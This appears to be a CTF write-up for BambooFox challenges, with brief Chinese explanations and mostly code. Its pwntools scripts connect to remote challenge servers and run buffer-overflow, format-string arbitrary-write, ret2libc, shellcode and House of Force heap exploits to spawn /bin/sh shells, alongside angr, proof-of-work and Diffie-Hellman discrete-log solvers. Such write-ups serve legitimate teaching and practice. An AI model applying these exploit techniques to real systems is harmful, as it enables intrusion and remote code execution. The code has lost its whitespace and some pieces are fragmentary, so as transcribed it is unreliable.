input_len = 43 flag_chars = [claripy.BVS("flag_%d" % i, 8) for i inrange(input_len)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])
proj = angr.Project("./flag_checker2") st = proj.factory.full_init_state( args=["./engine"], add_options=angr.options.unicorn, stdin=flag ) for k in flag_chars: st.solver.add(k < 0x7F) st.solver.add(k > 0x20)
sm = proj.factory.simulation_manager(st) sm.run() y = [] for x in sm.deadended: ifb"win"in x.posix.dumps(1): y.append(x) valid = y[0].posix.dumps(0) print(valid) bt = [chr(valid[i]) for i inrange(0, len(valid))] print("".join(bt))
defis_valid(digest): bits = "".join(bin(i)[2:].zfill(8) for i in digest) return bits[:difficulty] == zeros
i = 0 whileTrue: i += 1 s = prefix + str(i) if is_valid(hashlib.sha256(s.encode()).digest()): return i
defsolve(p, g, a, b): fs = factor(p - 1) mxp = max([x[0] for x in fs]) if mxp > 1000000: # Not smooth enough return Z = Zmod(p) n_a = discrete_log(Z(a), Z(g)) returnint(Z(b) ** n_a)
defpr(a, b): return (a, b) if a < b else (b, a)
p = remote("chall.ctf.bamboofox.tw", 10369) p.recvuntil("sha256(") prefix = p.recv(16).decode() result = proof_of_work(prefix, 20) p.sendlineafter(b"Answer:", str(result)) msg = p.recvline().decode().strip() words = msg.split(" ") n_computers = int(words[2]) n_connections = int(words[5]) print(n_computers, n_connections) p.recvuntil(b"lines):") # Press Enter to print all connection logs (# lines): p.sendline("") # Enter
connected = {} for i inrange(n_connections): established = p.recvline().decode().strip() ews = established.split(" ") alice_id = int(ews[5][1:]) bob_id = int(ews[9][1:]) dh = p.recvline().decode().strip() dhs = dh.split(" ") modulus = int(dhs[4][:-1]) base = int(dhs[7][:-1]) alice_pub = int(dhs[12][:-1]) bob_pub = int(dhs[17]) # No "," at the end of Bob's public key... sec = solve(modulus, base, alice_pub, bob_pub) if sec != None: connected[pr(alice_id, bob_id)] = sec
queue = [1] visited[1] = True parent = {} whilelen(queue) > 0: cur = queue.pop(0) for i inrange(1, n_computers + 1): if i == cur: continue k = pr(cur, i) if k in connected andnot visited[i]: print(f"{cur} -> {i}") visited[i] = True parent[i] = cur secret_keys.append(connected[k]) queue.append(i)
assertall(visited[1:])
defprint_path(x): defhelper(y): print(f" <- {y}", end="") if y != 1: helper(parent[y])
print(x, end="") if x != 1: helper(parent[x]) print()
for i inrange(1, n_computers + 1): print_path(i)
ans = " ".join(map(str, sorted(secret_keys))) p.sendlineafter( b"Enter a list of 419 secret keys you've stolen, separated by whitespace characters:", ans, ) print(p.recvall().decode())
# p = process("./magic") p = remote("bamboofox.cs.nctu.edu.tw", 10000) sh = 0x804860D p.sendlineafter(b"Give me your name(a-z): ", "kirito") p.sendlineafter( b"Give me something that you want to MAGIC: ", b"a" * (0x44) + b"\x00" * 4 + p32(sh + 1), # !!!! scanf will ignore 0d, as 0d = "\r" ) p.interactive()
這題雖然只是簡單的題目,不過還是學到了
0D=\r 會有影響。
Monkey1
用 printf 去對 local variable 的 banana
做寫入就可以了,需要的位置可能要用 gdb
找一下。程式碼和下一題放在一起。
Monkey2
一樣的題目,不過這次要得到 shell,我的方法就是找個地方寫入
/bin/sh,然後呼叫 system 就好了,因為
system 有在 GOT 裡面能讓你用,所以直接讀出來就 ok。
# p = process("./monkey") p = remote("bamboofox.cs.nctu.edu.tw", 11000)
defprintf(s: bytes): p.sendlineafter(b"Please enter your choice!\n", "2") p.sendlineafter(b"I will print it out.\n", s) return p.recvline()
defchange_name(s: bytes): p.sendlineafter(b"Please enter your choice!\n", "1") p.sendline(s)
defwrite_byte(addr: int, val: int): change_name(p64(addr)) if val > 0: printf(b"%0" + str(val).encode() + b"d%274$hhn") else: printf(b"%274$hhn")
defwrite_int(addr: int, val: int): while val > 0: # print(f"write {hex(val & 0xff)} to {hex(addr)}") write_byte(addr, val & 0xFF) val >>= 8 addr += 1
defread_string(addr: int): change_name(p64(addr)) result = printf(b"%274$sc8763c8763") return result.split(b"c8763c8763")[0]
defread_dword(addr: int, deep=1): if deep == 4: return0 r = int.from_bytes(read_string(addr)[:4], byteorder="little") return r if r != 0else ((read_dword(addr + 1, deep + 1) & 0xFFFFFF) << 8)
# FLAG 1 target_banana = 0x3132000A banana_addr = int(printf(b"%269$p").decode().strip(), 16) + 4 write_int(banana_addr, target_banana) p.sendlineafter(b"Please enter your choice!\n", "3") print(p.recvline().decode())
# FLAG 2 (Shell) elf = ELF("./monkey") system = read_dword(elf.got["system"]) ret = banana_addr + 0x28 write_int(ret, system) binsh = 0x804A064# a padding in bss write_int(binsh, int.from_bytes(b"/bin/sh\x00a", byteorder="little")) write_int(ret + 8, binsh) p.sendlineafter(b"Please enter your choice!\n", "5") p.interactive()
p = remote("bamboofox.cs.nctu.edu.tw", 11101) p.sendlineafter(b"Submit your shellcode here:", sc) print(p.recvall())
ret2libc
很基本的 ret2libc,連 address 都給你了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import *
libc = ELF("./libc.so.6") p = remote("bamboofox.cs.nctu.edu.tw", 11002) # libc = ELF("/lib32/libc.so.6") # p = gdb.debug("./ret2libc")
p.recvuntil(b'The address of "/bin/sh" is ') binsh = int(p.recvline().strip().decode(), 16) p.recvuntil(b'The address of function "puts" is ') puts = int(p.recvline().strip().decode(), 16)
from pwn import * from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Util.Padding import unpad from sage.allimport factor import base64 import wiener # Copied and modified from RsaCtfTool
elf = ELF("./lovec") if args["REMOTE"]: libc = ELF("./libc.so.6") p = remote("bamboofox.cs.nctu.edu.tw", 11003) else: libc = ELF("/lib32/libc.so.6") p = process("./lovec")
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff") p.sendlineafter(b"Please vote for the programming language you love the most:", "1") p.sendafter( b"Cool! And why did you like it?", b"a" * 41 + flat([elf.sym["puts"], elf.sym["main"], elf.got["puts"]]), ) p.recvuntil(b"nice day!\n")
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff") p.sendlineafter(b"Please vote for the programming language you love the most:", "1") p.sendafter( b"Cool! And why did you like it?", b"a" * 33 + flat([system, 0, elf.sym["name"]]), ) p.recvuntil(b"nice day!\n")
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n") p.sendlineafter(b"Please vote for the programming language you love the most:", "1") p.sendlineafter( b"Cool! And why did you like it?", b"a" * 41 + flat([operator_ll, elf.sym["main"], cout, elf.got["atoi"]]), ) p.recvuntil(b"nice day!\n")
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n") p.sendlineafter(b"Please vote for the programming language you love the most:", "1") p.sendafter( b"Cool! And why did you like it?", b"a" * 33 + flat([system, 0, elf.sym["name"]]) + b"\n", ) p.recvuntil(b"nice day!\n")
log.info(f"shell:") p.interactive()
bamboobox1
這題是 heap 的題目,目標是把程式一開始使用 malloc
所弄出一個放 function pointers 的區塊改掉,因為它在 exit
的時候會呼叫裡面的函數,而且也有提供一個 magic
函數直接幫你讀 flag
出來。漏洞的話可以很容易的發現它在修改的時候完全不檢查長度,所以只要修改時的長度超過新增時的長度時就有
heap overflow。
libc 的檔案可以到第二題拿,版本為
2.19-0ubuntu6.13_amd64,基本上一定要 patchelf
過才能正常的在 local debug
這題要用到的是 House
Of Force,方法簡單來說是先把 top chunk 的 size 改成最大值,避免它在
malloc 很大的區塊時使用
mmap,然後再利用很大的值讓 address overflow
到比較低的位置,例如前面所說的 function pointers,然後再
malloc
一塊新的區塊後會發現和前面是同個地方,所以就能直接改掉那部分的記憶體。
magic = elf.sym["magic"] add_item(b"a" * 64) # Offset to top chunk size = 64 + 8 = 72 change_item( 0, b"a" * 72 + p64((1 << 64) - 1) ) # Overwrite top chunk size to max, so that malloc won't use mmap add_item(b"\n", -0x70 - 0x10) # Offset from top chunk to function list add_item(p64(0) + p64(magic)) # Newly malloced memory is function list p.sendlineafter(b"choice:", "5") print(p.recvall())